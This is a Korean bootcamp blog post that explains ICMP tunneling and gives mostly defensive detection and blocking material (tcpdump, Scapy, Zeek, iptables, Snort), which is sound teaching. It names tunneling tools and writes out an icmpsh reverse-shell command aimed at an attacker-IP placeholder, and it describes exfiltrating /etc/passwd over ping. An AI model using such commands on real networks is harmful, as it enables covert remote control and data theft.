8200 사이버 부트캠프
왜 우리인가강의계획서누구를 위한 것인가상세 커리큘럼가격FAQ블로그지금 등록하기
8200 사이버 부트캠프
왜 우리인가강의계획서누구를 위한 것인가상세 커리큘럼가격FAQ블로그
지금 등록하기

Select Language

© 2026 8200 사이버 부트캠프

8200 사이버 부트캠프

이스라엘 8200 부대에서 영감을 받은 엘리트 사이버 보안 교육, 실전 중심 기술 개발에 주력.

빠른 링크

  • 홈
  • 커리큘럼
  • 상세 커리큘럼
  • 가격
  • FAQ

문의

소셜 미디어 팔로우

© 2026 8200 사이버 부트캠프. All rights reserved.

ICMP 터널링이란 무엇이며 어떻게 방어할 수 있나요

ICMP 터널링이란 무엇이며 어떻게 방어할 수 있나요

8/24/2026
ICMP 터널링은 공격자들이 핑과 같은 ICMP 트래픽 안에 악성 명령을 숨기거나 데이터를 은밀히 유출하여 네트워크 방어를 우회하는 교묘한 기법입니다. 이 기법이 어떻게 작동하는지, 왜 효과적인지, 그리고 이러한 은밀한 위협을 탐지하고 네트워크를 보호하는 방법을 알아보세요.

ICMP 터널링이란 무엇이며 어떻게 방어할 수 있는가

ICMP 터널링 소개

ICMP 터널링, 때로는 "비밀 핑 기반 공격"이라고도 불리는 이 기술은 악성 행위자들이 명령 및 제어(C2) 트래픽이나 데이터 유출 활동을 무해한 인터넷 제어 메시지 프로토콜(ICMP) 패킷 내부에 숨기는 은밀한 네트워크 공격 기법입니다. ping 요청으로 널리 알려진 ICMP는 방화벽 및 침입 탐지 시스템의 감시 대상에서 벗어나기 때문에, IT 보안 팀에 심각한 도전 과제를 제시합니다.

이 가이드에서는 ICMP 터널링이 무엇인지, 공격자들이 이를 어떻게 구현하는지, 왜 이 방법이 회피에 매력적인지 그리고—가장 중요하게—보안 전문가와 네트워크 관리자들이 ICMP 터널 공격을 탐지하고 방어하는 방법을 설명할 것입니다. 초급 설명부터 고급 탐지까지, 실제 예시와 ICMP 터널링 활동 탐지, 모니터링 및 분석을 위한 코드 샘플을 포함하여 설명합니다.


목차

  • ICMP란? 기본 개념
  • ICMP 터널링이란?
  • ICMP 터널링은 어떻게 작동하는가?
  • 공격자가 ICMP 터널을 사용하는 이유
  • 실제 ICMP 터널 공격 예시
  • 실제로 ICMP 터널링 탐지하기
  • ICMP 터널 활동 스캐닝하기
  • ICMP 터널링에 대한 방어
  • 고급 완화: 무상태 탐지 모델
  • 결론
  • 참고 자료

ICMP란? 기본 개념

인터넷 제어 메시지 프로토콜(ICMP)은 인터넷 프로토콜 스위트의 기본 부분입니다. 오류 메시지, 네트워크 진단, 상태 메시징에 사용되도록 설계되었습니다.

주요 정보:

  • ICMP는 계층 3: IP 위의 네트워크 계층에 위치합니다.
  • 일반 메시지: Echo Request와 Echo Reply (ping), 목적지 도달 불가, 시간 초과 등이 포함됩니다.
  • 일반적인 사용: 네트워크 문제 해결(ping, traceroute 등), 네트워크 장치 간 오류 보고.

예시: 기본 ICMP 트래픽

다음 명령어를 실행하면:

ping google.com

컴퓨터는 일련의 ICMP Echo Request 패킷을 생성하고, 구글은(만약 ping을 허용한다면) ICMP Echo Reply 패킷으로 응답합니다.


ICMP 터널링이란?

ICMP 터널링은 임의의 페이로드 데이터를 ICMP 패킷 안에 캡슐화하는 기술입니다. 이 데이터는 유출되는 파일, 쉘 명령어, 심지어 전체 TCP 연결을 포함할 수 있으며, 모두 정상적으로 보이는 ping 요청이나 응답에 숨겨져 있습니다.

조직은 일반적으로 합법적인 문제 해결을 위해 주변 방화벽을 통해 ICMP 트래픽을 허용하기 때문에, 공격자들은 이 신뢰를 악용하여 숨겨진 데이터를 전달하거나 네트워크의 백도어를 만들 수 있습니다.

정의:

ICMP 터널링은 공격자가 허가되지 않은 데이터를 ICMP 패킷 내에 인코딩하여 네트워크 액세스 제어를 우회하는 은밀한 통신 방법입니다.


ICMP 터널링은 어떻게 작동하는가?

ICMP 터널링은 특히 Echo Request/Reply 패킷의 구조를 이용하여 추가로 숨겨진 데이터를 전송합니다.

ICMP 패킷의 해부학

  • 유형, 코드: ICMP 메시지를 지정 (예: 8 = Echo Request, 0 = Echo Reply)
  • 체크섬: 오류 탐지를 위해 사용
  • 식별자 및 시퀀스 번호: 추적 용도
  • 데이터: 선택적 필드로, 공격자가 은밀한 데이터를 전송하는 데 사용

단계별 터널링 프로세스

  1. 공격자가 호스트를 침해: 대상 네트워크 내부의 장치에 접근을 확보합니다.
  2. ICMP 터널 클라이언트를 실행: 클라이언트는 명령어 또는 데이터를 ICMP Echo 패킷 안에 인코딩합니다—종종 icmpsh, ptunnel 또는 맞춤형 스크립트를 사용.
  3. ICMP 패킷이 C2 서버로 전송됨: 방화벽 외부의 공격자 서버는 패킷을 수신하고 페이로드를 디코딩합니다.
  4. 응답 인코딩: 원격 서버는 ICMP Echo Reply 패킷 내에 숨긴 지시사항이나 응답을 전송합니다.
  5. 방화벽 우회: 트래픽이 정상적인 ping 활동으로 보이기 때문에 종종 검사를 건너 뛰고 기본 네트워크 규칙에 의해 허용됩니다.

예시: ICMP 터널 패킷

일반적인 ICMP Echo Request 패킷은 다음과 같습니다:

필드 예시 값
유형 8 (Echo Request)
코드 0
체크섬 6920
식별자 13
시퀀스 번호 250
데이터 "Hello, world!"

ICMP 터널링 공격은 "데이터" 섹션에 base64로 인코딩된 유출 데이터를 삽입할 수 있습니다.


공격자가 ICMP 터널을 사용하는 이유

경계 보안 회피

방화벽은 일반적으로 외부와의 직접 연결(e.g. 아웃바운드 SSH, HTTP/S를 통한 유출)을 차단합니다.
하지만 ICMP는 네트워크 문제 해결을 위해 자주 허용되며, 조직 경계를 넘어 허용되는 경우가 많습니다.

C2 (명령 및 제어)

고급 지속 위협(APT) 행위자들은 ICMP 터널을 사용하여 손상된 호스트를 관리하고, 명령을 전송하고, 파일을 추출합니다—특별한 네트워크 경보 없이.

회피 기법

  • 페이로드 분할: 데이터를 작은 ICMP 조각으로 나누기
  • 암호화: 암호화 또는 인코딩(Base64, XOR)으로 페이로드 숨기기
  • 정상적인 트래픽 모방: 정상적인 간격으로 ICMP 패킷 생성하거나 합법적인 요청에만 응답하기

ICMP 터널링 도구

다양한 공개 소스 공격 보안 도구가 ICMP 터널링을 지원합니다:

  • icmpsh: ICMP를 통한 역쉘.
  • ptunnel: ICMP를 통한 TCP 연결 터널링.
  • Hans: TCP 터널링, ICMP 포함.
  • 맞춤형 스크립트: 많은 공격자들이 서명 기반 탐지를 우회하는 맞춤형 도구를 개발.

실제 ICMP 터널 공격 예시

예시 1: 데이터 유출

내부 위협 또는 워크스테이션의 악성코드가 민감한 파일을 조직 밖으로 훔쳐내고자 합니다.

단계:

  1. 침투된 호스트가 ICMP 터널 클라이언트를 사용하여 공격자 C2에 연결.
  2. 파일(예: /etc/passwd)이 분할되고, 인코딩되어 다수의 Echo Request에 숨겨짐.
  3. 공격자의 원격 서버가 패킷을 수집하고 도난당한 파일을 재구성.

예시 2: ICMP를 통한 원격 쉘

침투 테스터와 공격자들이 icmpsh 같은 도구를 배포:

  • 내부 호스트가 icmpsh -t <공격자_ip>를 실행.
  • 공격자의 서버(네트워크 외부)가 ICMP Echo Request를 청취하고 Echo Reply를 통해 쉘 응답을 디코딩 및 전송.
  • 이제 위험한 아웃바운드 포트를 열지 않고 양방향 쉘 통신이 가능.

사례 연구: 야생의 ICMP 터널

APT 및 악성코드(특히 Backdoor.Win32.ICMPdoor)가 ICMP 터널링을 활용하여 모든 아웃바운드를 차단하고 HTTP/HTTPS—고급 보안 환경에서 지속적인 접근을 확보한 사례 보고가 존재합니다.


실제로 ICMP 터널링 탐지하기

ICMP 터널링 탐지는 비정상적인 패턴을 식별하거나 ICMP 패킷 페이로드를 검사하는 데 달려 있습니다.

관찰해야 할 것들

  • 비정상적인 ICMP 패킷 크기: 일반 핑 페이로드는 32–56바이트; 데이터 유출은 훨씬 더 필요합니다.
  • 높은 볼륨/빈도: 드문 외부 주소로의 과도한 또는 규칙적인 ICMP Echo 요청.
  • 페이로드의 큰 또는 비-프린트 가능한 데이터: 단순한 테스트 텍스트 대신 인코딩/암호화된 문자열.
  • 예상치 못한 종단점: 내부 호스트가 의심스러운 퍼블릭 IP로 "핑"하는 경우.

ICMP 트래픽 분석 도구

tcpdump

ICMP 트래픽을 검사하는 데 자주 사용되는 패킷 캡처 도구.

# 모든 ICMP 트래픽 캡처, 자세한 출력
sudo tcpdump -n -v icmp

의심스러운 출력 예시 (생략됨):

IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024

주의: 1024바이트는 일반적인 ping ICMP 페이로드보다 훨씬 큽니다!

Wireshark

그래픽 패킷 분석기입니다.

  1. 트래픽 필터링: icmp
  2. 큰/이상한 페이로드를 가진 Echo 패킷을 찾아 우클릭하고 "Follow ICMP Stream"을 선택하여 내용을 확인.
Zeek (구 Bro)

내장된 ICMP 스크립트를 포함한 강력한 네트워크 보안 모니터링 도구.

비정상적인 ICMP 페이로드를 기록하는 스크립트:

event icmp_message(c: connection, icmp: icmp_hdr)
    {
    if ( c$id$orig_h !in Site::internal_networks )
        {
        # 큰 페이로드에 대해 로그/알림 전송
        if ( c$payload && |c$payload| > 500 )
            local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
        }
    }
리눅스 명령어 라인 (Bash/Python)

Bash 예시: 모든 아웃바운드 핑 페이로드 기록.

sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"

Python 예시: 비정상적인 ICMP 페이로드를 위해 pcap 분석

from scapy.all import *

def scan_icmp_pcap(pcap_file):
    packets = rdpcap(pcap_file)
    for pkt in packets:
        if pkt.haslayer(ICMP):
            if len(pkt[ICMP].payload) > 100:
                print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")

scan_icmp_pcap('capture.pcap')

ICMP 터널 활동 스캐닝하기

ICMP 터널 악용을 선제적으로 사냥하기 위해 정기적인 스캔과 이상 탐지가 필수적입니다.

단계 1: ICMP 사용 기준선 수립

  • 정상 ICMP 트래픽: 볼륨, 목적지, 패킷 크기 모니터링.
  • 일반적인 내부 및 외부 종단점 식별.

단계 2: 이상 분석

ELK 스택, Zeek, Wireshark 등의 도구를 이용하여:

  • 비정상적으로 크거나 빈번한 ICMP 패킷에 대해 경고 발송.
  • ICMP 출처/목적지를 알려진 위협 인텔리전스와 연계.

단계 3: 리눅스/유닉스에서 스캔

실시간으로 가장 큰 ICMP 패킷 찾기:

sudo tcpdump -ni eth0 icmp and greater 200

덤프의 패킷 크기 목록화:

sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr

단계 4: 자동화 스크립트

Python Scapy: 큰 페이로드를 가진 echo 요청 보고하기

from scapy.all import *

def detect_large_icmp(pcap_file):
    for pkt in rdpcap(pcap_file):
        if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
            if len(pkt[ICMP].payload) > 200:
                print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")

ICMP 터널링에 대한 방어

1. ICMP 트래픽 제한

  • 방화벽 정책: 외부 ICMP 차단하거나, 알려진 관리 스테이션으로만 제한. 반드시 필요한 경우에만 Echo Request/Reply 허용.
  • 출구 필터링: 신뢰할 수 있는 경우를 제외하고 내부 호스트가 외부 주소로 ICMP를 전송하지 않도록 방지.

예시: iptables로 아웃바운드 ICMP 차단

sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP

2. ICMP 페이로드 검사

  • ICMP 터널링 서명 또는 비정상적인 페이로드 규칙을 가진 IDS/IPS 솔루션(Snort, Suricata) 배포.
  • 페이로드 크기, 빈도 및 목적지 모니터링.

Snort 룰 예시:

alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)

3. 로그 남기고 경고 설정

  • 특히 크거나 이상한 페이로드의 모든 ICMP 트래픽 로그 기록 보장.
  • 이상에 대한 SIEM 경고 설정.

4. 사용자 교육 및 최소 권한

  • 일반 사용자/해킹된 워크스테이션이 외부 호스트에 ICMP를 생성하지 않도록 방지.
  • 필요 기기 외 모든 장치에서 아웃바운드 ICMP 비활성화.

5. 고급 위협 탐지

  • 머신러닝/휴리스틱 사용(Zeek/Suricata 통합 참조)하여 알려진 ICMP 터널링 도구와 일치하는 트래픽 패턴 표시.
  • 정기적으로 엔드포인트/네트워크 로그 검토.

6. 패치 및 유지보수

  • 네트워크 장치 및 소프트웨어 업데이트하여 ICMP 처리 취약점을 패치.
  • 현재 공격 도구 및 서명에 대한 정보 유지.

고급 완화: 무상태 탐지 모델

연구에 따르면 무상태 모니터링—ICMP 패킷의 흐름과 크기를 추적, 상태나 순서를 따지지 않음—은 터널링을 감지하는 저영향 및 확장 가능한 방법이 될 수 있습니다.

무상태 탐지 원칙

  • 각 패킷 개별적으로 확인: 개별 ICMP 패킷 크기 및 빈도 기반의 의심스러운 패턴 감지.
  • 세션 추적 불필요: 방화벽/라우터에 부하가 적음.
  • 임계값에 대한 자동 경고: 예를 들어 모든 ICMP Echo 패킷 >500바이트에 대해 플래그 설정.

성능 영향

Singh & Nordström의 연구에 따르면, 무상태 모델은 대규모에서도 엔드 호스트나 라우터에 크게 영향을 주지 않고 비밀 채널을 효과적으로 표시할 수 있습니다.


결론

ICMP 터널링은 합법적인 네트워크 운영에 자연스럽게 융화되는 저속 위협으로, 파란 팀(Blue Team)에게 탐지 및 방어의 어려움을 야기합니다. ICMP가 진단을 위해 널리 사용되고, 조직들이 이러한 트래픽을 방화벽을 통해 자주 허용하기 때문에, 이는 공격자가 비밀리에 명령 및 제어를 설정하고 민감한 데이터를 유출하며 손상된 호스트에 접근하는 데 선호하는 수단입니다.

주요 내용 요약

  • ICMP 터널링은 은밀한 통신을 위해 신뢰할 수 있는 프로토콜을 악용합니다.
  • 복잡한 공격자들은 C2 및 데이터 유출을 위해 이를 활용합니다.
  • 탐지는 비정상적인 ICMP 패킷 크기, 빈도 및 목적지를 모니터링하는 데 필요합니다.
  • 방어는 강력한 출구 필터링, ICMP 제한, 페이로드 분석 및 자동화된 로깅/경고의 조합입니다.
  • 무상태 탐지 모델은 네트워크 성능을 저하시키지 않고 확장 가능한 방어를 가능하게 합니다.

네트워크의 합법적인 ICMP 활동을 기준으로 설정하고, 서명 및 이상 기반 탐지를 모두 적용함으로써, 조직은 데이터 손실이나 추가 손상으로 이어지기 전에 이 은밀한 위협 벡터를 무력화할 수 있습니다.


참고 자료

  • Detect and Stop ICMP Tunneling – ExtraHop Blog
  • What is ICMP Tunneling? – DeepStrike
  • Malicious ICMP Tunneling: Defense against the Vulnerability – Semantic Scholar
  • ICMP Tunnels and Covert Channels – PacketLife.net
  • icmpsh project – Github
  • Ping Tunnel (ptunnel)
  • Snort – Network Intrusion Detection System
  • Wireshark – Network Protocol Analyzer
  • Zeek – Network Security Monitor

여러분의 경계를 안전하게 유지하세요—하찮은 ping을 무시하지 마세요!

🚀 레벨업할 준비가 되셨나요?

사이버 보안 경력을 다음 단계로 끌어올리세요

이 콘텐츠가 유용하다고 생각하셨다면, 저희의 포괄적인 47주 엘리트 교육 프로그램으로 무엇을 달성할 수 있을지 상상해 보세요. Unit 8200 기술로 경력을 변화시킨 1,200명 이상의 학생들과 함께하세요.

전체 프로그램 등록커리큘럼 보기
97% 취업률
엘리트 Unit 8200 기술
42가지 실습 랩